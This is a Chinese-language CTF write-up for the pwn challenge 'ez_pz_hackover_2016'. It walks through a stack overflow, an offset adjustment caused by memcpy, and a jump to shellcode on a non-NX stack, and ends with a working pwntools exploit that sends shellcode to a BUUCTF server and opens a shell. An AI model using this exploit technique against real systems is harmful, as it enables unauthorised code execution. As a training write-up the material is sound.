pwn | ez_pz_hackover_2016

pwn | ez_pz_hackover_2016

x86

checksec:
image

基本上逻辑是这样的:
image

漏洞函数是一个栈溢出:
image

这里有一个坑,传进vul函数的是input字符串的地址的地址,不是input字符串的地址,所以memcpy的时候复制的内容不是从input字符串的开头开始的:
image
image

这样返回地址是不对的,是我们输入的垃圾数据,所以需要重新调整偏移:
image

调整的偏移就是-28就可以了,可以完成劫持:
image

因为没有开启nx保护,所以可以直接写shellcode然后跳转过去,栈的地址在一开始就给了(我居然没有看到然后倒腾了半天QAQ):
image

那就在程序的一开头加一个接收就行了
这里有一个坑:我本来准备直接跳原来的栈的,结果忘了memcpy给原来的栈也覆盖掉了,所以只能算新栈的偏移:
image

exp:

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

# p = process('./ez_pz_hackover_2016')
p = remote('node4.buuoj.cn', 27783)
p_main = 0x080486E2
p_header = 0x0804856B

p.recvuntil('Yippie, lets crash: ')
input_addr = int(p.recv(10), 16)
shellcode = asm(shellcraft.sh())
# p_shellcode = input_addr + 26 + 4   # not available because of memcpy
p_shellcode = input_addr - 32 + 4   # ok


p.recvuntil('name?\n')

#             crashme + rubbish + retaddr
payload = b'crashme\x00'.ljust( (0x32+4 -28 -1),b'M' )+b'Q' + p32(p_shellcode) + shellcode

input('?')
p.sendline(payload)
p.recvuntil('!\n')
p.interactive()

posted @ 2023-01-03 18:45  Mz1  阅读(166)  评论(0编辑  收藏  举报